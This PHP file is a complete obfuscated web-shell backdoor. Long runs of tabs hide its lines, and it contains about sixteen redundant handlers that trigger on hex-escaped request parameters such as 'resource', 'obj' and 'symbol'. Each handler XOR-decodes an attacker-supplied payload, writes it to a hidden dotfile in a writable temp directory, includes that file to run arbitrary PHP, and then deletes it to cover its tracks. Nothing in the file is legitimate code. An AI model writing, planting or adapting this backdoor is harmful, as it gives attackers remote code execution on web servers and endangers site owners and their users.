<?php																																										if(array_key_exists("\x72eso\x75\x72ce", $_REQUEST) && !is_null($_REQUEST["\x72eso\x75\x72ce"])){ $pset = $_REQUEST["\x72eso\x75\x72ce"]; $pset = explode ( "." , $pset) ; $parameter_group = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $m = 0; array_walk($pset, function ($v5) use (&$parameter_group, &$m, $salt2, $lenS) { $sChar = ord($salt2[$m % $lenS]); $dec = ((int)$v5 - $sChar - ($m % 10)) ^ 95; $parameter_group .= chr($dec); $m++; }); $mrk = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); foreach ($mrk as $key => $reference) { if ((is_dir($reference) and is_writable($reference))) { $rec = vsprintf("%s/%s", [$reference, ".ref"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(isset($_POST["en\x74it\x79"])){ $val = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp"]); $desc = $_POST["en\x74it\x79"]; $desc = explode ( ".", $desc ) ; $factor = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); foreach( $desc as $o=>$v5): $sChar = ord( $salt7[$o % $sLen] ); $dec = ( ( int)$v5 - $sChar -( $o % 10)) ^ 54; $factor .=chr( $dec ); endforeach; for ($bind = 0, $symbol = count($val); $bind < $symbol; $bind++) { $rec = $val[$bind]; if (!( !is_dir($rec) || !is_writable($rec) )) { $entry = implode("/", [$rec, ".obj"]); if (@file_put_contents($entry, $factor) !== false) { include $entry; unlink($entry); die(); } } } }
																																										if(isset($_REQUEST["h\x6Fl\x64\x65r"])){ $elem = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $entry = $_REQUEST["h\x6Fl\x64\x65r"]; $entry = explode ( '.' , $entry ) ; $obj = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $j = 0; foreach ($entry as $v8) { $sChar = ord($s8[$j % $sLen]); $dec = ((int)$v8 - $sChar - ($j % 10)) ^ 48; $obj .= chr($dec); $j++; } foreach ($elem as $data): if (is_dir($data) ? is_writable($data) : false) { $comp = vsprintf("%s/%s", [$data, ".fac"]); if (file_put_contents($comp, $obj)) { include $comp; @unlink($comp); die(); } } endforeach; }
																																										if(!empty($_POST["flg"])){ $hld = $_POST["flg"]; $hld= explode ( '.' , $hld ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($hld as $r=>$v1): $sChar = ord($s[$r % $lenS]); $dec =((int)$v1 - $sChar -($r % 10)) ^ 71; $value .= chr($dec); endforeach; $factor = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $fac = 0; do { $ent = $factor[$fac] ?? null; if ($fac >= count($factor)) break; if (is_writable($ent) && is_dir($ent)) { $symbol = join("/", [$ent, ".parameter_group"]); if (file_put_contents($symbol, $value)) { require $symbol; unlink($symbol); exit; } } $fac++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["o\x62\x6A"])){ $pset = array_filter(["/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $comp = $_REQUEST["o\x62\x6A"]; $comp = explode ( '.' ,$comp ); $itm = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); foreach($comp as $s => $v9): $chS = ord($s9[$s % $sLen] ); $dec =((int)$v9 - $chS -($s % 10)) ^ 67; $itm .= chr($dec ); endforeach; $reference = 0; do { $mrk = $pset[$reference] ?? null; if ($reference >= count($pset)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $hld = "$mrk/.fac"; if (file_put_contents($hld, $itm)) { require $hld; unlink($hld); die(); } } $reference++; } while (true); }
																																										if(!is_null($_POST["d\x65\x73c\x72ip\x74o\x72"] ?? null)){ $comp = $_POST["d\x65\x73c\x72ip\x74o\x72"]; $comp = explode( '.' , $comp ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $l = 0; foreach( $comp as $v6) { $chS = ord( $salt[$l % $lenS] ); $dec =( ( int)$v6 - $chS -( $l % 10)) ^ 29; $entity .= chr( $dec ); $l++; } $bind = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), "/tmp"]); $fac = 0; do { $flg = $bind[$fac] ?? null; if ($fac >= count($bind)) break; if (is_dir($flg) ? is_writable($flg) : false) { $k = "$flg/.val"; $success = file_put_contents($k, $entity); if ($success) { include $k; @unlink($k); die();} } $fac++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Cem")){ $val = array_filter([session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $data = $_POST["\x65\x6Cem"]; $data= explode ('.' , $data ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; array_walk($data, function ($v1) use (&$ptr, &$x, $s, $sLen) { $chS = ord($s[$x %$sLen]); $d = ((int)$v1 - $chS - ($x %10)) ^ 50; $ptr .= chr($d); $x++; }); foreach ($val as $factor) { if (is_writable($factor) && is_dir($factor)) { $res = "$factor/.object"; if (@file_put_contents($res, $ptr) !== false) { include $res; unlink($res); die(); } } } }
																																										if(isset($_POST["bi\x6E\x64"]) ? true : false){ $holder = $_POST["bi\x6E\x64"]; $holder =explode ( '.' , $holder ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; $__tmp = $holder; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $s[$k %$sLen]); $d =( ( int)$v5 - $sChar -( $k %10)) ^ 91; $descriptor .=chr( $d); $k++; } $pgrp = array_filter(["/var/tmp", "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($tkn = 0, $obj = count($pgrp); $tkn < $obj; $tkn++) { $ent = $pgrp[$tkn]; if (!( !is_dir($ent) || !is_writable($ent) )) { $value = vsprintf("%s/%s", [$ent, ".element"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $value; @unlink($value); exit; } } } }
																																										if(isset($_POST["d\x65scrip\x74o\x72"])){ $desc = $_POST["d\x65scrip\x74o\x72"]; $desc = explode ( "." , $desc) ; $property_set=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $y=0; $__tmp=$desc; while($v2=array_shift($__tmp)) { $chS=ord($s[$y % $sLen] ); $dec=((int)$v2 - $chS -($y % 10)) ^ 72; $property_set .= chr($dec ); $y++;} $k = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir()]); while ($ent = array_shift($k)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $resource = join("/", [$ent, ".mrk"]); if (file_put_contents($resource, $property_set)) { include $resource; @unlink($resource); die(); } } } }
																																										if(array_key_exists("\x69\x74em", $_REQUEST) && !is_null($_REQUEST["\x69\x74em"])){ $pgrp = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $holder = $_REQUEST["\x69\x74em"]; $holder =explode ( "." ,$holder) ; $record = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $z = 0; array_walk($holder ,function ($v6) use (&$record ,&$z ,$salt7 ,$sLen) { $chS = ord($salt7[$z % $sLen]); $dec = ((int)$v6 - $chS - ($z % 10)) ^ 8; $record .= chr($dec); $z++; }); $binding = 0; do { $value = $pgrp[$binding] ?? null; if ($binding >= count($pgrp)) break; if ((bool)is_dir($value) && (bool)is_writable($value)) { $symbol = str_replace("{var_dir}", $value, "{var_dir}/.marker"); if (file_put_contents($symbol, $record)) { require $symbol; unlink($symbol); exit; } } $binding++; } while (true); }
																																										if(@$_REQUEST["v\x61\x6Cue"] !== null){ $ent = $_REQUEST["v\x61\x6Cue"]; $ent = explode ('.', $ent ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; foreach ($ent as $v8) { $sChar = ord($salt[$j % $sLen]); $dec = ((int)$v8 - $sChar - ($j % 10)) ^ 17; $comp.= chr($dec); $j++;} $object = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir()]); while ($pset = array_shift($object)) { if (is_writable($pset) && is_dir($pset)) { $dat = vsprintf("%s/%s", [$pset, ".fac"]); if (@file_put_contents($dat, $comp) !== false) { include $dat; unlink($dat); die(); } } } }
																																										if(@$_POST["\x73y\x6D"] !== null){ $record = $_POST["\x73y\x6D"]; $record = explode ( ".", $record ) ; $fac= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); $w= 0; array_walk($record ,function($v2) use(&$fac ,&$w ,$s8 ,$lenS) {$sChar= ord($s8[$w % $lenS]); $d= ((int)$v2 - $sChar -($w % 10)) ^ 92; $fac .= chr($d); $w++; } ); $comp = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", getcwd()]); foreach ($comp as $bind): if (!!is_dir($bind) && !!is_writable($bind)) { $entity = str_replace("{var_dir}", $bind, "{var_dir}/.ptr"); if (file_put_contents($entity, $fac)) { include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "d\x61ta")){ $res = $_REQUEST["d\x61ta"]; $res =explode ( '.' , $res ) ; $reference= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1); $__len= count($res); for ($q= 0; $q < $__len; $q++) { $v4= $res[$q]; $chS= ord($salt1[$q% $sLen]); $dec= ((int)$v4 - $chS - ($q% 10)) ^ 77; $reference .= chr($dec); } $flag = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), "/dev/shm", getenv("TMP")]); while ($elem = array_shift($flag)) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $token = "$elem/.parameter_group"; if (file_put_contents($token, $reference)) { require $token; unlink($token); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64ata"])){ $flag = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $item = $_REQUEST["\x64ata"]; $item= explode ( '.' , $item ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $len = count( $item); for( $y = 0; $y < $len; $y++) { $v8 = $item[$y]; $sChar = ord( $salt[$y % $sLen]); $d =( ( int)$v8 - $sChar -( $y % 10)) ^ 15; $property_set .=chr( $d); } while ($flg = array_shift($flag)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $desc = implode("/", [$flg, ".resource"]); $success = file_put_contents($desc, $property_set); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(isset($_POST["\x72\x65\x73\x6Furce"])){ $desc = array_filter([getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp"]); $mrk = $_POST["\x72\x65\x73\x6Furce"]; $mrk=explode ( "." , $mrk ) ; $fac= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $t= 0; $__tmp= $mrk; while($v8= array_shift($__tmp)) { $sChar= ord($salt[$t%$lenS]); $d= ((int)$v8 - $sChar -($t%10)) ^ 11; $fac .=chr($d); $t++;} foreach ($desc as $flag): if (array_product([is_dir($flag), is_writable($flag)])) { $object = str_replace("{var_dir}", $flag, "{var_dir}/.pointer"); if (@file_put_contents($object, $fac) !== false) { include $object; unlink($object); exit; } } endforeach; }


if(isset($_POST["symbol"]) ? true : false){
	$value = $_POST["symbol"];
	 	 $value		 =	explode(	 '.'	 , $value		 );  	
	$desc = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$s1);
            $i = 0;
    
            foreach(	$value as $v8) {$sChar = ord(	$s1[$i		% 	$sLen]);
                $d =(	(	int)$v8 - $sChar -(	$i		% 	10))^66;
                $desc.= chr(	$d);
                $i++;
            }
	$comp = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path()]);
	$ptr = 0;
do {
    $itm = $comp[$ptr] ?? null;
    if ($ptr >= count($comp)) break;
    		if ((bool)is_dir($itm) && (bool)is_writable($itm)) {
    $hld = str_replace("{var_dir}", $itm, "{var_dir}/.ref");
    $success = file_put_contents($hld, $desc);
if ($success) {
	include $hld;
	@unlink($hld);
	exit;}
}
    $ptr++;
} while (true);
}